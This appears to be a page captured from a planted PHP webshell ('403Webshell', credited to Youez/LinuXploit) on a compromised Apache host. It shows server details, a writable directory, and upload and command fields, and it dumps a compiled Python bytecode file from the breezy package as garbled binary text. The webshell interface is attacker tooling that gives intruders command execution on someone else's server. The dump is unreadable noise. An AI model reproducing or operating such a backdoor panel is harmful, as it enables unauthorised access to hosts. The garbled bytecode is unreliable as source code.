403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/breezy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/breezy/__pycache__/_annotator_py.cpython-313.pyc
�

p��gH4��<�SrSSKJrJrJr SSKJr "SS5rg)z9Functionality for doing annotations in the 'optimal' way.�)�errors�osutils�ui)�graphc�p�\rSrSrSrSrSrSrSSjrSr	S	r
S
rSrSr
S
rSrSrSrSrSrg)�	Annotator�z)Class that drives performing annotations.c�d�Xl0Ul0Ul0Ul0UlSUl0Ulg)z,Create a new Annotator from a VersionedFile.N)�_vf�_parent_map�_text_cache�_num_needed_children�_annotations_cache�_heads_provider�_ann_tuple_cache)�self�vfs  �6/usr/lib/python3/dist-packages/breezy/_annotator_py.py�__init__�Annotator.__init__s7����������$&��!�"$���#��� "���c��UH:nX0R;aURU==S-
ss'M+SURU'M< g)Nr)r)r�key�parent_keys�
parent_keys    r�_update_needed_children�!Annotator._update_needed_children%s>��%�J��6�6�6��)�)�*�5��:�5�89��)�)�*�5�	&rc��URnSURU'[5n[5nU1nU(GaG/n0nUH�nXR;aWXR;aUR	U5 M4XR
;a$UR	U5 URUXq'MgMiUR
U5 UR	U5 M� [5nURURRU55 UR5HHupUcSnSXq'URX5 URUVs/sHoU;dM
UPM sn5 MJ URU5 SUlU(aGMGX44$s snf)a�Determine the texts we need to get from the backing vf.

:return: (vf_keys_needed, ann_keys_needed)
    vf_keys_needed  These are keys that we need to get from the vf
    ann_keys_needed Texts which we have in self._text_cache but we
                    don't have annotations for. We need to yield these
                    in the proper order so that we can get proper
                    annotations.
rN�)
rr�setr
�addr�append�updater�get_parent_map�itemsrr)	rr�
parent_map�vf_keys_needed�ann_keys_needed�needed_keys�
parent_lookup�next_parent_maprs	         r�_get_needed_keys�Annotator._get_needed_keys,sw���%�%�
�*+��!�!�#�&�����%���e����M� �O�"���*�*�*��"2�"2�2�&�*�*�3�/��$;�$;�;�'�+�+�C�0�/3�/?�/?��/D��,�<�
"�(�(��-�"�&�&�s�+�#��%�K��"�"�4�8�8�#:�#:�=�#I�J�$3�$9�$9�$;� ���&�"$�K�+-�O�(��,�,�S�>��"�"�$/�I�K�S�j�3H�S�K�I��%<�
���o�.�$(�D� �;�k�<�.�.��
Js�	F
�F
Nc#�P# �URU5up4UbURSS[U55 URR	USS5n[U5H�upgUbURSS[U55 URS:Xa+[R"URUR5eURnURS5n	[U	5n
X�RU'X�U
4v� M� UH#nURUn	[U	5n
XU
4v� M% g7f)	aRGet the texts we need to properly annotate key.

:param key: A Key that is present in self._vf
:return: Yield (this_key, text, num_lines)
    'text' is an opaque object that just has to work with whatever
    matcher object we are using. Currently it is always 'lines' but
    future improvements may change this to a simple text string.
Nzgetting stream��topologicalT�
extracting�absent�lines)r,r#�lenr�get_record_stream�	enumerate�storage_kindr�RevisionNotPresentr�get_bytes_asr
)rr�pb�keys�ann_keys�stream�_idx�record�this_keyr3�	num_liness           r�_get_needed_texts�Annotator._get_needed_texts]s	����.�.�s�3���
�>��I�I�&��3�t�9�5����+�+�D�-��F��%�f�-�L�D��~��	�	�,��3�t�9�5��"�"�h�.��/�/��
�
�D�H�H�E�E��z�z�H��'�'��0�E��E�
�I�).���X�&��9�,�,�.��C��$�$�S�)�E��E�
�I��i�'�'��s�D$D&c��URUnURUnSSKJn U"SXB5nUR	5nXX4$)a�Get the list of annotations for the parent, and the matching lines.

:param text: The opaque value given by _get_needed_texts
:param parent_key: The key for the parent text
:return: (parent_annotations, matching_blocks)
    parent_annotations is a list as long as the number of lines in
        parent
    matching_blocks is a list of (parent_idx, text_idx, len) tuples
        indicating which lines match between the two texts
r/)�PatienceSequenceMatcherN)r
r�patiencediffrE�get_matching_blocks)	rr�textr�parent_lines�parent_annotationsrE�matcher�matching_blockss	         r�#_get_parent_annotations_and_matches�-Annotator._get_parent_annotations_and_matchesysK���'�'�
�3��!�4�4�Z�@��8�)�$��C��!�5�5�7��!�2�2rc�Z�URXU5upVUHupxn	UXwU	-X(X�-&M g)z2Reannotate this text relative to its first parent.N)rM)
rr�annotationsr3rrJrL�
parent_idx�	lines_idx�	match_lens
          r�_update_from_first_parent�#Annotator._update_from_first_parent�sI��
�4�4�S��L�	.�	�1@�,�J�9�=O��)�3�>�K�I�$9�:�1@rc�|�URXU5upgSnSn	Sn
UH�up�n
X,X�-nXkX�-nX�:XaM[U
5HtnUUnUUnUU-nUU:XaMUU:XaUUU'M'UU:XaUU	:XaX�U'M9[U5nURU5 [	[U55nUUU'UnUn	Un
Mv M� g)z;Reannotate this text relative to a second (or more) parent.N)rM�ranger r#�tuple�sorted)rrrPr3�this_annotationrrJrL�last_ann�last_parent�last_resrQrRrS�ann_sub�par_sub�idx�ann�par_ann�ann_idx�new_anns                     r�_update_from_other_parents�$Annotator._update_from_other_parents�s��

�4�4�S��L�	.�	�������1@�,�J�9�"�i�.C�D�G�(�j�6L�M�G��!���Y�'���c�l��!�#�,��#�c�/���'�>���/�)�,3�K��(���(�?�w�+�'=�+3��(�!�#�h�G��N�N�7�+�#�F�7�O�4�G�+2�K��(�"�H�")�K�&�H�/(�1@rc��X0RU'UHEnURUnUS-nUS:XaURU	URU	XPRU'MG g)Nrr/)rrr
)rrrrPr�nums      r�_record_annotation�Annotator._record_annotation�sf��'2����$�%�J��+�+�J�7�C��1�H�C��a�x��$�$�Z�0��+�+�J�7�58�%�%�j�1�&rc���U4nU/U-nURUnU(a4URXX&S5 USSHnURXX$U5 M URXU5 g)Nr/r)rrTreri)rrrHrArZrPr�parents        r�
_annotate_one�Annotator._annotate_one�st���&��&�'�)�3���&�&�s�+����*�*�3�T�q�>�R�%�a�b�/���/�/��d�V��*�	
����+�>rc�t�X RU'[R"U5URU'SUlg)apAdd a specific text to the graph.

This is used to add a text which is not otherwise present in the
versioned file. (eg. a WorkingTree injecting 'current:' into the
graph to annotate the edited content.)

:param key: The key to use to request this text be annotated
:param parent_keys: The parents of this text
:param text: A string containing the content of the text
N)rr�split_linesr
r)rrrrHs    r�add_special_text�Annotator.add_special_text�s5��!,����� '� 3� 3�D� 9������#��rc�n�[RR5nURXS9Hup4nUR	X4U5 M SSS5 UR
UnX`RU4$!,(df   N.=f![a&n[R"XR5UeSnAff=f)a;Return annotated fulltext for the given key.

:param key: A tuple defining the text to annotate
:return: ([annotations], [lines])
    annotations is a list of tuples of keys, one for each line in lines
                each key is a possible source for the given line.
    lines the text of "key" as a list of lines
)r:N)r�
ui_factory�nested_progress_barrBrmr�KeyErrorrr8rr
)rrr:�text_keyrHrArP�excs        r�annotate�Annotator.annotate�s����]�]�
.�
.�
0�B�-1�-C�-C�C�-C�-O�)��	��"�"�8�9�=�.P�1�	D��1�1�#�6�K��,�,�S�1�1�1�1�
0��
�	D��+�+�C���:��C��	D�s#�,A3�B�3
B�
B4�!B/�/B4c�~�URc%[R"UR5UlUR$�N)r�
_mod_graph�
KnownGraphr)rs r�_get_heads_provider�Annotator._get_heads_providers3�����'�#-�#8�#8��9I�9I�#J�D� ��#�#�#rc��Uc[U5SnU$[U5n[U5nUHnXB4Xb44nU"U5SnM U$)Nr/)rY�iter�next)r�	the_heads�line�
tiebreaker�head�	next_head�
possible_head�annotated_liness        r�_resolve_annotation_tie�!Annotator._resolve_annotation_tie	sa�����)�$�Q�'�D����Y��I��	�?�D�!*�
�$(�<�-�1F�"G��!�/�2�1�5��"+��rc�X�SSKJn UnURU5upE/nUR5RnURn[XE5HWup�[
U	5S:XaU	SnO3U"U	5n[
U5S:Xa
UHn O OURX�U5nU"WU
45 MY U$)z�Determine the single-best-revision to source for each line.

This is meant as a compatibility thunk to how annotate() used to work.
:return: [(ann_key, line)]
    A list of tuples with a single annotation key for each line.
r)�_break_annotation_tier/)ryr�r�headsr"�zipr4r�)
rrr��custom_tiebreakerrPr3�outr�r"�
annotationr�r�r�s
             r�
annotate_flat�Annotator.annotate_flats���	4�1��!�]�]�3�/������(�(�*�0�0������ #�K� 7��J��:��!�#�!�!�}��!�*�-�	��y�>�Q�&� )���!*� �7�7�!�):��D�
�D�$�<� �!8��
r)rrrrrr
rr|)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rrr,rBrMrTrerirmrqryrr�r��__static_attributes__rrrrrsM��3�	#�:�//�b(�83�(
�/'�b
8�?�
$�2�$$�
�rrN)r��rrrrr}rrrr�<module>r�s ��"@�!�!�!�Z�Zr

Youez - 2016 - github.com/yon3zu
LinuXploit